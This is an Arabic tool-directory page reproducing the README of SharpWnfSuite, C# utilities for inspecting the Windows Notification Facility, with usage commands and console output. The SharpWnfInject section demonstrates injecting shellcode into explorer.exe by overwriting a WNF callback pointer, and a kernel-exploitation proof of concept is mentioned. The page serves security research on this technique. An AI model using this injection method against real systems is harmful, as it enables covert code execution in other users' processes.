Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
SharpWnfSuite — أدوات C# لمنشأة إشعارات Windows | Kitploit
أدوات/GitHubGitHub/daem0nc0re/sharpwnfsuite
الاستطلاعتحليل الثغرات الأمنيةالاستغلالجمع المعلوماتما بعد الاستغلالالأدوات والمكونات
GitHubdaem0nc0re/sharpwnfsuite

SharpWnfSuite

أدوات C# لمنشأة إشعارات Windows

عرض المستودع
158286منذ سنة واحدةتمت المراجعة من قبل Kitploit

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

SharpWnfSuite

هذا هو المستودع الخاص بأدوات مرفق إعلام Windows (WNF). حاليًا، تم رفع نسخة مُنقولة بلغة C# من الأدوات الموجودة في wnfun والتي طورها Alex Ionescu (@aionescu) و Gabrielle Viala (@pwissenlit). عندما أطوّر أدوات إضافية لمرفق إعلام Windows، سيتم رفعها هنا.

جدول المحتويات

  • SharpWnfSuite
    • الاستخدام
      • SharpWnfDump
      • SharpWnfNameDumper
      • SharpWnfClient
      • SharpWnfServer
      • SharpWnfScan
      • SharpWnfInject
    • KernelPrimitive
    • WnfCallbackPayload
    • المراجع
    • شكر وتقدير

الاستخدام

SharpWnfDump

العودة إلى الأعلى

المشروع

تقوم هذه الأداة بتفريغ أو معالجة المعلومات حول أسماء حالات WNF. تكافئ wnfdump.exe و WnfDump.py. لقد أجريت بعض التحديثات على الأداة الأصلية (معالجة الاستثناءات، وأسماء الحالات المعروفة، وعضو WNF_DATA_SCOPE الجديد).

لاسترجاع معلومات جميع أسماء حالات WNF المعروفة والدائمة والمستمرة على جهازك، نفّذ باستخدام علامة -d (--dump):``` PS C:\Dev> .\SharpWnfDump.exe -d

| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 | | WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 | | WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |

--snip--

root@kitploit:~
لعرض اسم الحالة المستخدم فقط في النظام، اضبط علامة `-u` (`--used`).
يمكن تطبيق هذه العلامة على الخيارين `-d` و `-b`:```
PS C:\Dev> .\SharpWnfDump.exe -d -u

| WNF State Name [WellKnown Lifetime]                             | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_PNPA_DEVNODES_CHANGED                                       | S | W | N | RO | U |       0 |       0 |     140 |
| WNF_AUDC_RENDER                                                 | S | W | N | RO | U |    4096 |    4096 |       7 |
| WNF_AUDC_CAPTURE                                                | S | W | N | RO | U |    4096 |    4096 |       1 |
| WNF_AUDC_SPATIAL_STATUS                                         | S | W | N | RO | U |    4096 |    4096 |       3 |

--snip--

إذا كنت تريد استرجاع معلومات واصف الأمان، اضبط العلم -s (--sid):``` PS C:\Dev> .\SharpWnfDump.exe -d -s

| WNF State Name [WellKnown Lifetime] | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_WEBA_CTAP_DEVICE_STATE | S | W | N | RW | I | 0 | 12 | 0 |

root@kitploit:~
    D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)

| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY | S | W | N | RW | I | 0 | 4 | 0 |

root@kitploit:~
    D:(A;;CCDC;;;SY)(A;;CCDC;;;BA)(A;;CCDC;;;S-1-5-80-242729624-280608522-2219052887-3187409060-2225943459)(A;;CC;;;AU)(A;;CC;;;AC)

| WNF_PNPA_DEVNODES_CHANGED | S | W | N | RO | U | 0 | 0 | 11 |

root@kitploit:~
    D:(A;;CC;;;BU)(A;;CCDC;;;SY)

--snip--

root@kitploit:~
إذا كنت تريد استرداد بيانات المخزن المؤقت، فعيّن علامة `-v` (`--value`) أو `-r` (`--read`).

يمكن استخدام هذه العلامات مع علامة `-s`:```
PS C:\Dev> .\SharpWnfDump.exe -d -v

| WNF State Name [WellKnown Lifetime]                             | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_WEBA_CTAP_DEVICE_STATE                                      | S | W | N | RW | I |       0 |      12 |       0 |
| WNF_WEBA_CTAP_DEVICE_CHANGE_NOTIFY                              | S | W | N | RW | I |       0 |       4 |       0 |

--snip--

| WNF_AUDC_RENDER                                                 | S | W | N | RO | U |    4096 |    4096 |       1 |

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 01 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
        00000010 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........
        00000020 | 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 | ........ ........

--snip--

لاسترجاع معلومات جميع أسماء حالات WNF المؤقتة على جهازك، نفّذ مع العلم -b (--brut):``` PS C:\Dev> .\SharpWnfDump.exe -b

| WNF State Name [System Scope] | S | L | P | AC | N | CurSize | MaxSize | Changes |

| 0x41C64E6DA3AC3845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC4845 | S | T | N | RW | A | 8 | ? | 1 | | 0x41C64E6DA3AC6845 | S | T | N | RW | A | 8 | ? | 1 |

--snip--

root@kitploit:~
يمكن استخدام علامة `-b` (`--brut`) مع علامة `-v` (`--value`) أو `-r` (`--read`)، ولكن لا يمكن استخدامها مع علامة `-s` (`--sid`).

معنى كل عمود في الجدول الذي تم الحصول عليه من نتائج خيار `--dump` أو `--brut` هو كما يلي:

| Column Name | Description |
| :--- | :--- |
| `WNF State Name` | يتم عرض أسماء حالات WNF هنا |
| `S` | نطاق البيانات لاسم حالة WNF. معاني الأحرف المعروضة هي كما يلي:<br><br>+ `S` : نطاق النظام<br>+ `s` : نطاق الجلسة<br>+ `U` : نطاق المستخدم<br>+ `P` : نطاق العملية<br>+ `M` : نطاق الجهاز<br>+ `p` : نطاق الجهاز الفعلي |
| `L` | عمر اسم حالة WNF. معاني الأحرف المعروضة هي كما يلي:<br><br>+ `W` : معروف<br>+ `P` : دائم<br>+ `V` : مستمر (متطاير)<br>+ `T` : مؤقت |
| `P` | يعرض ما إذا كان اسم حالة WNF دائماً:<br><br>+ `Y` : نعم<br>+ `N` : لا |
| `AC` | التحكم في الوصول لاسم حالة WNF:<br><br>+ `RW` : قابل للقراءة والكتابة<br>+ `RO` : للقراءة فقط<br>+ `WO` : للكتابة فقط<br>+ `NA` : غير قابل للقراءة والكتابة |
| `N` | يعرض وجود المشترك:<br><br>+ `A` : يوجد مشترك<br>+ `I` : لا يوجد مشترك<br>+ `U` : غير معروف |
| `CurSize` | الرقم يعني حجم المخزن المؤقت الحالي المستخدم لاسم حالة WNF. |
| `MaxSize` | الرقم يعني الحد الأقصى لحجم المخزن المؤقت الذي يمكن استخدامه لاسم حالة WNF. |
| `Changes` | الرقم يعني عدد مرات التحديث. |

إذا كنت تريد استرجاع معلومات حول اسم حالة WNF محدد، فقم بتنفيذ `SharpWnfDump.exe` مع خيار `-i` (`--info`) كما يلي:```
PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN

| WNF State Name                                                  | S | L | P | AC | N | CurSize | MaxSize | Changes |
----------------------------------------------------------------------------------------------------------------------
| WNF_SHEL_APPRESOLVER_SCAN                                       | S | W | N | RW | A |       4 |       4 |       1 |

يمكن استخدام الخيار -i (--info) مع العلم -v (--value)، و-r (--read)، و-s (--sid):``` PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -s -v

| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 1 |

root@kitploit:~
    D:(A;;CC;;;WD)(A;;CCDC;;;AU)(A;;CCDC;;;AC)

               00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

    00000000 | 01 00 00 00                                     | ....
root@kitploit:~
لقراءة البيانات من WNF State Name محدد، استخدم العلم `-r` (`--read`) كما يلي:```
PS C:\Dev> .\SharpWnfDump.exe -r WNF_SHEL_APPRESOLVER_SCAN

WNF_SHEL_APPRESOLVER_SCAN:

        00000000 | 11 00 00 00                                     | ....

لكتابة بيانات إلى اسم حالة WNF محدد، استخدم علامة -w (--write) كما يلي (يجب توفير البيانات المراد كتابتها مع ملف):``` PS C:\Dev> "hi" | Out-File -Encoding ascii -FilePath C:\Dev\test.txt PS C:\Dev> Get-Content -Path C:\Dev\test.txt hi PS C:\Dev> .\SharpWnfDump.exe -w WNF_SHEL_APPRESOLVER_SCAN C:\Dev\test.txt

[>] Trying to write data. [] Target WNF Name : WNF_SHEL_APPRESOLVER_SCAN [] Data Source : C:\Dev\test.txt [+] Data is written successfully.

PS C:\Dev> .\SharpWnfDump.exe -i WNF_SHEL_APPRESOLVER_SCAN -r

| WNF State Name | S | L | P | AC | N | CurSize | MaxSize | Changes |

| WNF_SHEL_APPRESOLVER_SCAN | S | W | N | RW | A | 4 | 4 | 2 |

root@kitploit:~
               00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

    00000000 | 68 69 0D 0A                                     | hi..
root@kitploit:~
### SharpWnfNameDumper

[العودة إلى الأعلى](#sharpwnfsuite)

[المشروع](https://github.com/daem0nc0re/sharpwnfsuite/blob/main/SharpWnfSuite/SharpWnfNameDumper)

تقوم هذه الأداة بتفريغ أسماء الحالات المعروفة (Well-Known State Names) من ملف DLL (عادةً `perf_nt_c.dll`).
وهي مكافئة لـ [WnfNameDumper.py](https://github.com/ionescu007/wnfun/blob/master/script_python/WnfNameDumper.py).

عادةً، تكون أسماء الحالات المعروفة (Well-Known State Names) موجودة في `perf_nt_c.dll` (وهي ضمن Windows Performance Analyzer).
لتفريغ أسماء الحالات المعروفة من ملف DLL، نفّذ `SharpWnfNameDumper.exe` مع الخيار `-d` (`--dump`) كما يلي:```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll

[>] Output results in C# style.

public enum WELL_KNOWN_WNF_NAME : ulong
{
    WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL,
    WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

إذا كنت تريد تفريغ وصف أسماء الحالات المعروفة، فاستخدم العَلَم -v:``` PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -v

[>] Output results in C# style.

public enum WELL_KNOWN_WNF_NAME : ulong { // The Plan 9 Redirector was started and is ready to accept requests. WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, // The Plan 9 Redirector got a request for an unknown WSL distribution and there is no user callback registered to query it. WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

root@kitploit:~
لتحديد تنسيق الإخراج، استخدم خيار `-f` (`--format`). يدعم `SharpWnfNameDumper.exe` تنسيق C# وC (`-f c`) وPython (`-f py`) (التنسيق الافتراضي هو C#):```
PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -f py

[>] Output results in Python style.

g_WellKnownWnfNames = {
    "WNF_9P_REDIRECTOR_STARTED": 0x41C61E54A3BC1075,
    "WNF_9P_UNKNOWN_DISTRO_NAME": 0x41C61E54A3BC0875,

--snip--

لإخراج النتيجة إلى ملف، استخدم الخيار -o (--output) لتحديد مسار ملف الإخراج:``` PS C:\Dev> .\SharpWnfNameDumper.exe -d perf_nt_c.dll -o result.txt

[>] Output results in C# style.

C:\dev>type result.txt public enum WELL_KNOWN_WNF_NAME : ulong { WNF_9P_REDIRECTOR_STARTED = 0x41C61E54A3BC1075UL, WNF_9P_UNKNOWN_DISTRO_NAME = 0x41C61E54A3BC0875UL,

--snip--

root@kitploit:~
لأخذ الفرق بين ملفي DLL، استخدم الخيار `-D` (`--diff`):```
PS C:\Dev> .\SharpWnfNameDumper.exe -D perf_nt_c_old.dll perf_nt_c_new.dll

[>] Output results in C# style.

################################################
#                   NEW KEYS                   #
################################################


public enum WELL_KNOWN_WNF_NAME : ulong
{
    WNF_SHEL_CHAT_ICON_BADGE = 0x0D83063EA3B8A035UL,
    WNF_SHEL_ENTERPRISE_START_PINS_POLICY_VALUE_CHANGED = 0x0D83063EA3B89475UL,
    WNF_SHEL_FILE_EXPLORER_PINNED_FOLDERS = 0x0D83063EA3B8ACF5UL,
    WNF_SHEL_MAC_AUTO_UPDATE_SUCCEEDED = 0x0D83063EA3B89875UL
}

SharpWnfClient

العودة إلى الأعلى

المشروع

هذه أداة للاشتراك في اسم حالة WNF. مكافئة لأداة wnfclient-rtl.exe وأداة WnfClientServer.py.

على سبيل المثال، إذا أردت مراقبة حالة WNF_SHEL_APPLICATION_STARTED، قم بتنفيذ SharpWnfClient.exe كما يلي:``` PS C:\Dev> .\SharpWnfClient.exe WNF_SHEL_APPLICATION_STARTED

[>] Received data from server. [] Timestamp : 4 [] Buffer Size : 92 byte(s) [*] Data :

root@kitploit:~
               00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

    00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
    00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
    00000020 | 6F 00 77 00 73 00 74 00-65 00 72 00 6D 00 69 00 | o.w.s.t. e.r.m.i.
    00000030 | 6E 00 61 00 6C 00 5F 00-38 00 77 00 65 00 6B 00 | n.a.l._. 8.w.e.k.
    00000040 | 79 00 62 00 33 00 64 00-38 00 62 00 62 00 77 00 | y.b.3.d. 8.b.b.w.
    00000050 | 65 00 21 00 61 00 70 00-70 00 00 00             | e.!.a.p. p...
root@kitploit:~
ثم، إذا قمت بتشغيل تطبيق المفكرة، يجب أن ترى النتيجة التالية:```
[>] Received data from server.
    [*] Timestamp : 5
    [*] Buffer Size : 90 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 61 00 3A 00 6D 00 69 00-63 00 72 00 6F 00 73 00 | a.:.m.i. c.r.o.s.
        00000010 | 6F 00 66 00 74 00 2E 00-77 00 69 00 6E 00 64 00 | o.f.t... w.i.n.d.
        00000020 | 6F 00 77 00 73 00 6E 00-6F 00 74 00 65 00 70 00 | o.w.s.n. o.t.e.p.
        00000030 | 61 00 64 00 5F 00 38 00-77 00 65 00 6B 00 79 00 | a.d._.8. w.e.k.y.
        00000040 | 62 00 33 00 64 00 38 00-62 00 62 00 77 00 65 00 | b.3.d.8. b.b.w.e.
        00000050 | 21 00 61 00 70 00 70 00-00 00                   | !.a.p.p. ..

SharpWnfServer

العودة إلى الأعلى

المشروع

تقوم هذه الأداة بإنشاء اسم حالة WNF بعمر مؤقت وترسل رسالة إلى المشترك. وهي مكافئة لـ wnfserver.exe و WnfClientServer.py.

لبدء خادم اسم حالة WNF جديد، ما عليك سوى تنفيذ SharpWnfServer.exe. يجب أن ندخل في شل تفاعلية كما يلي:``` PS C:\Dev> .\SharpWnfServer.exe

[+] New WNF State Name is created successfully : 0x41C64E6DA3834945

Encoded State Name: 0x41C64E6DA3834945, Decoded State Name: 0x3F4931 Version: 1, Lifetime: Temporary, Scope: Machine, Permanent: NO, Sequence Number: 0x7E9, Owner Tag: 0x0

Sending input data to WNF subscriber...

[INPUT]>

root@kitploit:~
بعد تنفيذ `SharpWnfServer.exe`، قم بتنفيذ `SharpWnfClient.exe` مع WNF State Name المقدم من `SharpWnfServer.exe` من طرفية أخرى. يجب أن تستلم "Hello, world!" كرسالة من `SharpWnfServer.exe`:```
PS C:\Dev> .\SharpWnfClient.exe 0x41C64E6DA3834945

[>] Received data from server.
    [*] Timestamp : 1
    [*] Buffer Size : 13 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 48 65 6C 6C 6F 2C 20 77-6F 72 6C 64 21          | Hello,.w orld!

لنشر رسالة إضافية إلى SharpWnfClient.exe، أدخل رسالتك في الصدفة التفاعلية لـ SharpWnfServer.exe:``` [INPUT]> This is WNF test Sending input data to WNF subscriber...

[INPUT]>

root@kitploit:~
بعد ذلك، يجب أن ترى الرسالة في الطرفية الخاصة بـ `SharpWnfClient.exe` كما يلي:```
[>] Received data from server.
    [*] Timestamp : 2
    [*] Buffer Size : 16 byte(s)
    [*] Data :

                   00 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F

        00000000 | 54 68 69 73 20 69 73 20-57 4E 46 20 74 65 73 74 | This.is. WNF.test

SharpWnfScan

العودة إلى الأعلى

المشروع

هذه الأداة مبنية على wnfscan الخاص بـ modexp، وتقوم بتفريغ معلومات اشتراك WNF من العملية.``` PS C:\Dev> .\SharpWnfScan.exe -h

SharpWnfScan - Tool for dumping WNF information from process.

Usage: SharpWnfScan.exe [Options]

root@kitploit:~
    -h, --help        : Displays this help message.
    -p, --pid         : Specifies the target PID.
    -P, --processname : Specifies the target process name.
    -n, --name        : Specifies a wnf state name for filtering.
    -a, --all         : Flag to dump information from all process.
    -l, --list        : Flag to list WNF State Name on this system.
    -d, --debug       : Flag to enable SeDebugPrivilege. Administrative privilege is required.
    -v, --verbose     : Flag to get verbose information.
root@kitploit:~
لتفريغ عملية محددة، اضبط خيار `-p` على النحو التالي:```
PS C:\Dev> .\SharpWnfScan.exe -p 5800

Process ID      : 5800
Image File Name : C:\Windows\explorer.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660

    WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
    StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
    StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)

    WNF_NAME_SUBSCRIPTION @ 0x0000000005099950
    StateName : 0x41960A2EA3BC1835 (WNF_CDP_CDPUSERSVC_READY)

--snip--

إذا كنت تريد الحصول على معلومات WNF_USER_SUBSCRIPTION، اضبط علامة -v كما يلي:``` PS C:\Dev> .\SharpWnfScan.exe -p 5800 -v

Process ID : 5800 Image File Name : C:\Windows\explorer.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000000001206660

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x0000000001206B00
StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_USER_SUBSCRIPTION @ 0x0000000001206A40
    Callback @ 0x00007FFE88478470 (ntdll!RtlNotifyFeatureUsage+0x1C0)
    Context  @ 0x00007FFE886F0B20 (ntdll!NlsAnsiCodePage+0x2390)

WNF_NAME_SUBSCRIPTION @ 0x000000000120AD10
StateName : 0x418B1929A3BC3835 (WNF_DWM_DUMP_REQUEST)

    WNF_USER_SUBSCRIPTION @ 0x0000000001207FD0
    Callback @ 0x00007FF7073027C0 (explorer)
    Context  @ 0x0000000001208CC0 (N/A)

--snip--

root@kitploit:~
يمكنك تحديد العمليات المستهدفة بالاسم باستخدام خيار `-P`:```
PS C:\Dev> .\SharpWnfScan.exe -P notepad

Process ID      : 8720
Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B02D640
    StateName : 0x41C61629A3BC2835 (WNF_DX_MONITOR_CHANGE_NOTIFICATION)

    WNF_NAME_SUBSCRIPTION @ 0x000001DE2B03E040
    StateName : 0x41950223A3BC1035 (WNF_NLS_USER_UILANG_CHANGED)

--snip--

للتصفية حسب اسم الحالة، عيّن سلسلة نصية hex أو اسم wnf معروف لخيار -n كما يلي:``` PS C:\Dev> .\SharpWnfScan.exe -P notepad -n WNF_RPCF_FWMAN_RUNNING

Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)

PS C:\Dev> .\SharpWnfScan.exe -P notepad -n 0x07851E3FA3BC0875

Process ID : 8720 Image File Name : C:\Program Files\WindowsApps\Microsoft.WindowsNotepad_11.2401.26.0_arm64__8wekyb3d8bbwe\Notepad\Notepad.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000001DE2B007560

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x000001DE2B075040
StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
root@kitploit:~
لتفريغ جميع العمليات في وقت واحد، استخدم الخيار `-a`:```
PS C:\Dev> .\SharpWnfScan.exe -a

Process ID      : 1180
Image File Name : C:\Windows\System32\svchost.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x000002101A806560

    WNF_NAME_SUBSCRIPTION @ 0x000002101A830120
    StateName : 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C1C0
    StateName : 0x41C64E6DA3B0E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A833C50
    StateName : 0x41C64E6DA3BC6145 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A846A50
    StateName : 0x41C64E6DA3BD0945 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CA00
    StateName : 0x41C64E6DA3BB8045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A806A00
    StateName : 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C4C0
    StateName : 0x41C64E6DA3B1E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C700
    StateName : 0x41C64E6DA3A0F945 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A830EE0
    StateName : 0x4195003AA3BC0875 (WNF_WNS_CONNECTIVITY_STATUS)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C880
    StateName : 0x41C6072FA3BC3875 (WNF_BI_APPLICATION_SERVICING_START_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CC40
    StateName : 0x41C6072FA3BC1875 (WNF_BI_USER_LOGOFF_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A835E90
    StateName : 0x41C6072FA3BC1075 (WNF_BI_USER_LOGON_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CD00
    StateName : 0x41C6072FA3BC2875 (WNF_BI_SESSION_DISCONNECT_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86CAC0
    StateName : 0x41C6072FA3BC2075 (WNF_BI_SESSION_CONNECT_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C940
    StateName : 0x41840B3EA3BC2075 (WNF_SEB_NETWORK_STATE_CHANGES)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A853920
    StateName : 0x41C6072FA3BC3075 (WNF_BI_APPLICATION_UNINSTALL_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A836040
    StateName : 0x41C6072FA3BC4875 (WNF_BI_LOCK_SCREEN_UPDATE_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C580
    StateName : 0x41C6072FA3BC4075 (WNF_BI_APPLICATION_SERVICING_STOP_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A833B80
    StateName : 0x41C6072FA3BC6075 (WNF_BI_QUIET_MODE_UPDATE_CHANNEL)

    WNF_NAME_SUBSCRIPTION @ 0x000002101A86C400
    StateName : 0x41C6072FA3BC5075 (WNF_BI_EVENT_DELETION)

Process ID      : 2952
Image File Name : C:\Windows\System32\svchost.exe
Architecture    : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x0000023DD3A065C0

    WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8B80
    StateName : 0x41C64E6DA3B1E045 (N/A)

    WNF_NAME_SUBSCRIPTION @ 0x0000023DD3AF8C40
    StateName : 0x41C64E6DA3BC6145 (N/A)

--snip--

لتمكين SeDebugPrivilege، استخدم الخيار -d كما يلي. يتطلب هذا الخيار صلاحيات إدارية:``` PS C:\Dev> .\SharpWnfScan.exe -d -P winlogon

[+] SeDebugPrivilege is enabled successfully.

Process ID : 680 Image File Name : C:\Windows\System32\winlogon.exe Architecture : ARM64

WNF_SUBSCRIPTION_TABLE @ 0x00000265F4E05F80

root@kitploit:~
WNF_NAME_SUBSCRIPTION @ 0x00000265F4E48AE0
StateName : 0x41C64E6DA3BC6145 (N/A)

WNF_NAME_SUBSCRIPTION @ 0x00000265F4E27AD0
StateName : 0x41C61629A3BC1035 (WNF_DX_MODE_CHANGE_NOTIFICATION)

--snip--

root@kitploit:~
لسرد أسماء حالات WNF المستخدمة في النظام الهدف، اضبط الخيار `-l` كما يلي:```
PS C:\Dev> .\SharpWnfScan.exe -l

[>] Trying to list WNF State Names used in this system. Wait a moment.

[1304 WNF State Names]

[*] 0x07851E3FA3BC0875 (WNF_RPCF_FWMAN_RUNNING)
[*] 0x41C64E6DA3B0E045 (N/A)
[*] 0x41C64E6DA3BC6145 (N/A)
[*] 0x41C64E6DA3BD0945 (N/A)
[*] 0x41C64E6DA3BB8045 (N/A)
[*] 0x0280032EA3BC0875 (WNF_CMFC_FEATURE_CONFIGURATION_CHANGED)
[*] 0x41C64E6DA3B1E045 (N/A)

--snip--

[16 Access Denied Processes]

[*] svchost (PID : 2352)
[*] svchost (PID : 4952)
[*] MsMpEng (PID : 3132)
    
--snip--

[*] Done.

SharpWnfInject

العودة إلى الأعلى

المشروع

هذه الأداة للتحقيق في كيفية إساءة استخدام المهاجمين لـ WNF لتقنية حقن التعليمات البرمجية:``` PS C:\Dev> .\SharpWnfInject.exe -h

SharpWnfInject - Tool to investigate WNF code injection technique.

Usage: SharpWnfInject.exe [Options]

root@kitploit:~
    -h, --help  : Displays this help message.
    -n, --name  : Specifies WNF State Name to inject. Hex format or Well-known name format is accepted.
    -p, --pid   : Specifies PID to inject.
    -i, --input : Specifies the file path to shellcode.
    -d, --debug : Flag to enable SeDebugPrivilege. Requires administrative privilege.

[!] -n option is required.

root@kitploit:~
تستبدل هذه الأداة مؤشر دالة الاستدعاء (callback function pointer) في `WNF_USER_SUBSCRIPTION` لاسم حالة WNF محددة.
لا تعمل تقنية حقن الكود مع جميع أسماء حالات WNF.
على سبيل المثال، من المعروف أن هذه التقنية متاحة لـ `WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED` المستخدمة بواسطة `explorer.exe` في Windows 11 23H2.
لاختبار هذه التقنية، قم بتنفيذ هذه الأداة كما يلي:```
PS C:\Dev> .\SharpWnfInject.exe -p 5800 -n WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED -i .\notepad_arm64.bin

[*] Target WNF State Name is 0x0D83063EA3BE10F5 (WNF_SHEL_WINDOWSTIP_CONTENT_PUBLISHED).
[+] Got a handle from the target Process
    [*] Process Name    : explorer.exe
    [*] Process ID      : 5800
    [*] Image File Name : C:\Windows\explorer.exe
    [*] Architecture    : ARM64
[+] Pointer for WNF_SUBSCRIPTION_TABLE is at 0x00007FFE886F4E20.
[+] WNF_SUBSCRIPTION_TABLE is at 0x0000000001206660.
[*] WNF_NAME_SUBSCRIPTION is at 0x0000000001273540.
[+] Got 1 WNF_USER_SUBSCRIPTION.
[*] Target callback pointer is at 0x00000000051C2250.
[*] Callback function is at 0x00007FFE54FD4D20 (twinui!DllGetClassObject+0x11AFF0).
[+] Shellcode buffer is at 0x0000000003270000.
[+] 344 bytes shellcode is written successfully.
[+] Callback pointer is overwritten successfully.
[>] Triggering shellcode.
[+] WNF State Data is updated successfully. Shellcode might be executed.
[+] Callback pointer is reverted successfully.
[*] Done.

إذا كنت ترغب في تمكين SeDebugPrivilege، استخدم الخيار -d وشغّل الأداة بصلاحيات إدارية. توجد أمثلة على شيلكود لتشغيل notepad في دليل Shellcode.

KernelPrimitive

العودة إلى الأعلى

المشاريع في هذا الدليل تهدف إلى توضيح بدائية WNF لاستغلال النواة. يمكنك قراءة المعلومات التفصيلية في محاضرة Alex Plaskett ومدوناته (الجزء 1، الجزء 2، الشرائح).

موثوقية الـPoC ليست 100%. لقد حددت إزاحات النواة لجميع إصدارات Windows 10 x64، لكنني اختبرتها فقط على Windows 10 Version 1903 x64.

المشروعالوصف
